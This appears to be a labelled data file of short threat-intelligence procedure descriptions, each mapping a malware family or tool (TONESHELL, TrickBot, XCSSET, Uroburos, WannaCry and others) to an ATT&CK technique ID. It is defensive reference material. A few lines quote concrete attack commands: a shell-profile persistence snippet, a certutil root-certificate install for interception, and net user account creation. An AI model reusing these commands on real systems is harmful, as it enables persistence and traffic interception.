TONESHELL has checked the process name and process path to ensure it matches the expected one prior to triggering a custom exception handler. TONESHELL has also searched for running antivirus processes to include ESET's antivirus associated executables ekrn.exe and egui.exe.,T1057
TONESHELL has deleted payload files received from the C2 server.,T1070.004
TONESHELL has obtained the username from an infected host.,T1033
TONESHELL has the ability to pause operations for a specified duration prior to follow-on execution of activities.,T1678
TONESHELL used WinRAR rar.exe to archive files for exfiltration. TONESHELL has also utilized a unique 13-character password consisting of upper lower case and digits to protect RAR archives.,T1560.001
TRAILBLAZE has conducted process discovery by searching for specific named processes such as `/home/bin/web`.,T1057
TRAILBLAZE has leveraged raw syscalls to execute commands.,T1106
TRANSLATEXT has been named `GoogleTranslate.crx` to masquerade as a legitimate Chrome extension.,T1036.005
TRANSLATEXT has exfiltrated collected email addresses to the C2 server.,T1114
TRANSLATEXT has queried the following registry key to check for installed Chrome extensions: ` HKCU\Software\Policies\Google\Chrome\ExtensionInstallForcelist `.,T1012
The net user username \password commands in Net can be used to create a local account.,T1136.001
"The Bazar loader has named malicious shortcuts ""adobe"" and mimicked communications software.",T1036.005
The KEYPLUG Windows variant has retrieved C2 addresses from encoded data in posts on tech community forums.,T1102.001
The LODEINFO loader module contains XOR-encrypted shellcode.,T1027.013
The Latrodectus payload has been packed for obfuscation.,T1027.002
The NOOPLDR payload is encrypted with AES256-CBC.,T1027.013
The Ninja loader component can decrypt and decompress the payload.,T1140
The REPTILE launcher component can decrypt kernel module code from a file and load it into memory.,T1140
The REPTILE rootkit is implemented as a loadable kernel module (LKM).,T1547.006
The Samurai loader component can create multiple Registry keys to force the svchost.exe process to load the final backdoor.,T1112
ThiefQuest uses the CGEventTap functions to perform keylogging.,T1056.001
"ThiefQuest uses the kill_unwanted function to get a list of running processes, compares each process with an encrypted list of ""unwanted"" security related programs, and kills the processes for security related programs.",T1518.001
TinyZBot can disable Avira anti-virus.,T1685
"TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP. Additionally, it searches for the "".vnc.lnk"" affix to steal VNC credentials.",T1552.001
TrickBot has used Nt Native API functions to inject code into legitimate processes such as wermgr.exe.,T1055
TrickBot has used a hidden VNC (hVNC) window to monitor the victim and collect information stealthily.,T1564.003
Trojan.Karagany can inject a suspended thread of its own process into a new process and initiate via the ResumeThread API.,T1055.003
Trojan.Karagany can take a desktop screenshot and save the file into \ProgramData\Mail\MailAg\shot.png.,T1113
Troll Stealer can enumerate and collect items from local drives and folders.,T1083
Troll Stealer encrypts data sent to command and control infrastructure using a combination of RC4 and RSA-4096 algorithms.,T1573.001
"Troll Stealer, along with its associated dropper, utilizes legitimate, stolen code signing certificates.",T1553.002
TruffleHog can enumerate AWS Infrastructure to include EC2 instances.,T1580
"TruffleHog can obtain secrets from AWS Secrets and GCP Secret Manager. TruffleHog has also gathered passwords, secrets and API keys from source repositories, .env files, and git history.",T1555.006
TruffleHog has collected credentials and data associated with Confluence.,T1213.001
TruffleHog has gathered data and credentials from code repositories.,T1213.003
TruffleHog has searched SharePoint for data and credentials.,T1213.002
"Tsundere Botnet has the ability to run JavaScript code from the C2 server. Additionally, Tsundere Botnet has used Node.js to execute JavaScript code for the loader component.",T1059.007
Tsundere Botnet has used the Node Package Manager (npm) to download malicious packages and to deliver the payload.,T1195.001
Tsundere Botnet's variant DinDoor has used Rclone to access a Wasabi server.,T1567.002
UPSTYLE clears error logs after reading embedded commands for execution.,T1685.006
UPSTYLE creates a `.pth` file beginning with the text `import` so that any time another process or script attempts to reference the modified item the malicious code will also run.,T1546
UPSTYLE restores timestamps to original values following modification.,T1070.006
USBferry can detect the infected machine's network topology using ipconfig and arp.,T1016
Uroburos can run a `Clear Agents Track` command on an infected machine to delete Uroburos-related logs.,T1070.004
Uroburos can store configuration information for the kernel driver and kernel driver loader components in an encrypted blob typically found at `HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds.`,T1027.011
Uroburos can use AES and CAST-128 encryption to obfuscate resources.,T1027.013
"Uroburos has registered a service named `WerFaultSvc`, likely to spoof the legitimate Windows error reporting service.",T1036.004
Uroburos has the ability to load new modules directly into memory using its `Load Modules Mem` command.,T1620
Uroburos has used a combination of a Diffie-Hellman key exchange mixed with a pre-shared key (PSK) to encrypt its top layer of C2 communications.,T1573.002
"Using AppleScript, XCSSET adds it's executable to the user's `~/.zshrc_aliases` file (`""echo "" & payload & "" > ~/zshrc_aliases""`), it then adds a line to the .zshrc file to source the `.zshrc_aliases` file (` -f $HOME/.zshrc_aliases && . $HOME/.zshrc_aliases`). Each time the user starts a new `zsh` terminal session, the `.zshrc` file executes the `.zshrc_aliases` file.",T1546.004
VBShower used HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\a-f0-9A-F{8} to maintain persistence.,T1547.001
VIRTUALPIE has been installed on VMware ESXi servers through malicious vSphere Installation Bundles (VIBs).,T1505.006
VIRTUALPITA can call a Python script to run commands on a targeted guest virtual machine.,T1059.006
VIRTUALPITA can execute commands on guest virtual machines from compromised ESXi hypervisors.,T1675
VIRTUALPITA has the ability to upload and download files.,T1105
Valak has the ability to modify the Registry key HKCU\Software\ApplicationContainer\Appsw64 to store information regarding the C2 server and downloads.,T1112
Valak has used regsvr32.exe to launch malicious DLLs.,T1218.010
"Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the ""srand"" and ""rand"" functions.",T1027.013
"VersaMem hooked the Catalina application filter chain `doFilter` on compromised systems to monitor all inbound requests to the local Tomcat web server, inspecting them for parameters like passwords and follow-on Java modules.",T1040
VersaMem was delivered as a Java Archive (JAR) that runs by attaching itself to the Apache Tomcat Java servlet and web server.,T1059
WARPWIRE can embed itself into a legitimate file on compromised Ivanti Connect Secure VPNs.,T1554
WIREFIRE can Base64 encode process output sent to C2.,T1132.001
"WannaCry uses vssadmin, wbadmin, bcdedit, and wmic to delete and disable operating system recovery features.",T1490
WastedLocker checks for specific registry keys related to the UCOMIEnumConnections and IActiveScriptParseProcedure32 interfaces.,T1012
Waterbear can hook the ZwOpenProcess and GetExtendedTcpTable APIs called by the process of a security product to hide PIDs and TCP records from detection.,T1685
"Waterbear can query the Registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"" to see if the value `OracleOcilib` exists.",T1012
"When executing with user-level permissions, RotaJakiro can install persistence using a .desktop file under the `$HOME/.config/autostart/` folder.",T1547.013
WhisperGate has used the `ExitWindowsEx` to flush file buffers to disk and stop running processes and other API calls.,T1106
Woody RAT can communicate with its C2 server using HTTP requests.,T1071.001
"Woody RAT can list all files and their associated attributes, including filename, type, owner, creation time, last access time, last write time, size, and permissions.",T1083
Woody RAT can make `Ping` GET HTTP requests to its C2 server at regular intervals for network connectivity checks.,T1016.001
Woody RAT has used Base64 encoded strings and scripts.,T1027.013
XAgentOSX contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed.,T1082
XCSSET identifies the macOS version and uses ioreg to determine serial number.,T1082
"XCSSET retrieves files that match the pattern defined in the INAME_QUERY variable within the user's home directory, such as `test.txt`, and are below a specific size limit. It then archives the files and exfiltrates the data over its C2 channel.",T1041
XLoader can create scheduled tasks for persistence.,T1053.005
"XLoader establishes persistence by copying its executable in a subdirectory of `%APPDATA%` or `%PROGRAMFILES%`, and then modifies Windows Registry Run keys or policies keys to execute the executable on system start.",T1547.001
XLoader features encrypted functions using the RC4 algorithm and bytecode operations.,T1027.013
XLoader uses process hollowing by injecting itself into the `explorer.exe` process and other files ithin the Windows `SysWOW64` directory.,T1055.012
"Zebrocy uses the tasklist and wmic process get Capture, ExecutablePath commands to gather the processes running on the system.",T1057
certutil can be used to install browser root certificates as a precursor to performing Adversary-in-the-Middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\cert512121.der.,T1553.004
evilginx2 can randomly generate and Base64 encode parameters in phishing links to defeat static detection.,T1132
"iKitten saves itself with a leading ""."" so that it's hidden from users by default.",T1564.001
metaMain can establish an indirect and raw TCP socket-based connection to the C2 server.,T1095
"metaMain can execute an operator-provided Windows command by leveraging functions such as `WinExec`, `WriteFile`, and `ReadFile`.",T1106
metaMain can support an HKCMD sideloading start method.,T1574.001
njRAT has modified the Windows firewall to allow itself to communicate through the firewall.,T1686.003
"reGeorg can tunnel TCP sessions including RDP, SSH, and SMB through HTTP.",T1572
reGeorg is a web shell that has been installed on exposed web servers for access to victim environments.,T1505.003
"yty gathers the computer name, CPU information, Microsoft Windows version, and runs the command systeminfo.",T1082
yty gathers the the serial number of the main disk volume.,T1680